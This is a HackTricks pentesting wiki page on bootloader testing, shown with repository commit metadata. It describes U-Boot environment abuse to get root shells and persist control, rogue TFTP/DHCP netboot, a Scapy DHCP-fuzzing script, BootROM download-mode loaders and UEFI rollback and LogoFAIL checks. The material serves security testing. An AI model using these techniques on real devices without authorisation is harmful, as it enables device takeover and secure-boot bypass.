HackTricks News Bot 04dfe2fd29 Add content from: Research Update: Enhanced src/hardware-physical-access/firmw...
- Remove searchindex.js (auto-generated file)
2025-09-09 01:27:44 +00:00

7.8 KiB
Raw Blame History

Bootloader Testing

{{#include ../../banners/hacktricks-training.md}}

The following steps are recommended for modifying device startup configurations and testing bootloaders such as U-Boot and UEFI-class loaders. Focus on getting early code execution, assessing signature/rollback protections, and abusing recovery or network-boot paths.

U-Boot quick wins and environment abuse

  1. Access the interpreter shell

    • During boot, hit a known break key (often any key, 0, space, or a board-specific "magic" sequence) before bootcmd executes to drop to the U-Boot prompt.
  2. Inspect boot state and variables

    • Useful commands:
      • printenv (dump environment)
      • bdinfo (board info, memory addresses)
      • help bootm; help booti; help bootz (supported kernel boot methods)
      • help ext4load; help fatload; help tftpboot (available loaders)
  3. Modify boot arguments to get a root shell

    • Append init=/bin/sh so the kernel drops to a shell instead of normal init:
      # printenv
      # setenv bootargs 'console=ttyS0,115200 root=/dev/mtdblock3 rootfstype=<fstype> init=/bin/sh'
      # saveenv
      # boot    # or: run bootcmd
      
  4. Netboot from your TFTP server

    • Configure network and fetch a kernel/fit image from LAN:
      # setenv ipaddr 192.168.2.2      # device IP
      # setenv serverip 192.168.2.1    # TFTP server IP
      # saveenv; reset
      # ping ${serverip}
      # tftpboot ${loadaddr} zImage           # kernel
      # tftpboot ${fdt_addr_r} devicetree.dtb # DTB
      # setenv bootargs "${bootargs} init=/bin/sh"
      # booti ${loadaddr} - ${fdt_addr_r}
      
  5. Persist changes via environment

    • If env storage isnt write-protected, you can persist control:
      # setenv bootcmd 'tftpboot ${loadaddr} fit.itb; bootm ${loadaddr}'
      # saveenv
      
    • Check for variables like bootcount, bootlimit, altbootcmd, boot_targets that influence fallback paths. Misconfigured values can grant repeated breaks into the shell.
  6. Check debug/unsafe features

    • Look for: bootdelay > 0, autoboot disabled, unrestricted usb start; fatload usb 0:1 ..., ability to loady/loads via serial, env import from untrusted media, and kernels/ramdisks loaded without signature checks.
  7. U-Boot image/verification testing

    • If the platform claims secure/verified boot with FIT images, try both unsigned and tampered images:
      # tftpboot ${loadaddr} fit-unsigned.itb; bootm ${loadaddr}     # should FAIL if FIT sig enforced
      # tftpboot ${loadaddr} fit-signed-badhash.itb; bootm ${loadaddr} # should FAIL
      # tftpboot ${loadaddr} fit-signed.itb; bootm ${loadaddr}        # should only boot if key trusted
      
    • Absence of CONFIG_FIT_SIGNATURE/CONFIG_(SPL_)FIT_SIGNATURE or legacy verify=n behavior often allows booting arbitrary payloads.

Network-boot surface (DHCP/PXE) and rogue servers

  1. PXE/DHCP parameter fuzzing

    • U-Boots legacy BOOTP/DHCP handling has had memory-safety issues. For example, CVE202442040 describes memory disclosure via crafted DHCP responses that can leak bytes from U-Boot memory back on the wire. Exercise the DHCP/PXE code paths with overly long/edge-case values (option 67 bootfile-name, vendor options, file/servername fields) and observe for hangs/leaks.
    • Minimal Scapy snippet to stress boot parameters during netboot:
      from scapy.all import *
      offer = (Ether(dst='ff:ff:ff:ff:ff:ff')/
               IP(src='192.168.2.1', dst='255.255.255.255')/
               UDP(sport=67, dport=68)/
               BOOTP(op=2, yiaddr='192.168.2.2', siaddr='192.168.2.1', chaddr=b'\xaa\xbb\xcc\xdd\xee\xff')/
               DHCP(options=[('message-type','offer'),
                             ('server_id','192.168.2.1'),
                             # Intentionally oversized and strange values
                             ('bootfile_name','A'*300),
                             ('vendor_class_id','B'*240),
                             'end']))
      sendp(offer, iface='eth0', loop=1, inter=0.2)
      
    • Also validate if PXE filename fields are passed to shell/loader logic without sanitization when chained to OS-side provisioning scripts.
  2. Rogue DHCP server command injection testing

    • Set up a rogue DHCP/PXE service and try injecting characters into filename or options fields to reach command interpreters in later stages of the boot chain. Metasploits DHCP auxiliary, dnsmasq, or custom Scapy scripts work well. Ensure you isolate the lab network first.

SoC ROM recovery modes that override normal boot

Many SoCs expose a BootROM "loader" mode that will accept code over USB/UART even when flash images are invalid. If secure-boot fuses arent blown, this can provide arbitrary code execution very early in the chain.

  • NXP i.MX (Serial Download Mode)
    • Tools: uuu (mfgtools3) or imx-usb-loader.
    • Example: imx-usb-loader u-boot.imx to push and run a custom U-Boot from RAM.
  • Allwinner (FEL)
    • Tool: sunxi-fel.
    • Example: sunxi-fel -v uboot u-boot-sunxi-with-spl.bin or sunxi-fel write 0x4A000000 u-boot-sunxi-with-spl.bin; sunxi-fel exe 0x4A000000.
  • Rockchip (MaskROM)
    • Tool: rkdeveloptool.
    • Example: rkdeveloptool db loader.bin; rkdeveloptool ul u-boot.bin to stage a loader and upload a custom U-Boot.

Assess whether the device has secure-boot eFuses/OTP burned. If not, BootROM download modes frequently bypass any higher-level verification (U-Boot, kernel, rootfs) by executing your first-stage payload directly from SRAM/DRAM.

UEFI/PC-class bootloaders: quick checks

  1. ESP tampering and rollback testing
  • Mount the EFI System Partition (ESP) and check for loader components: EFI/Microsoft/Boot/bootmgfw.efi, EFI/BOOT/BOOTX64.efi, EFI/ubuntu/shimx64.efi, grubx64.efi, vendor logo paths.
  • Try booting with downgraded or known-vulnerable signed boot components if Secure Boot revocations (dbx) arent current. If the platform still trusts old shims/bootmanagers, you can often load your own kernel or grub.cfg from the ESP to gain persistence.
  1. Boot logo parsing bugs (LogoFAIL class)
  • Several OEM/IBV firmwares were vulnerable to image-parsing flaws in DXE that process boot logos. If an attacker can place a crafted image on the ESP under a vendor-specific path (e.g., \EFI\<vendor>\logo\*.bmp) and reboot, code execution during early boot may be possible even with Secure Boot enabled. Test whether the platform accepts user-supplied logos and whether those paths are writable from the OS.

Hardware caution

Be cautious when interacting with SPI/NAND flash during early boot (e.g., grounding pins to bypass reads) and always consult the flash datasheet. Mistimed shorts can corrupt the device or the programmer.

Notes and additional tips

  • Try env export -t ${loadaddr} and env import -t ${loadaddr} to move environment blobs between RAM and storage; some platforms allow importing env from removable media without authentication.
  • For persistence on Linux-based systems that boot via extlinux.conf, modifying the APPEND line (to inject init=/bin/sh or rd.break) on the boot partition is often enough when no signature checks are enforced.
  • If userland provides fw_printenv/fw_setenv, validate that /etc/fw_env.config matches the real env storage. Misconfigured offsets let you read/write the wrong MTD region.

References

{{#include ../../banners/hacktricks-training.md}}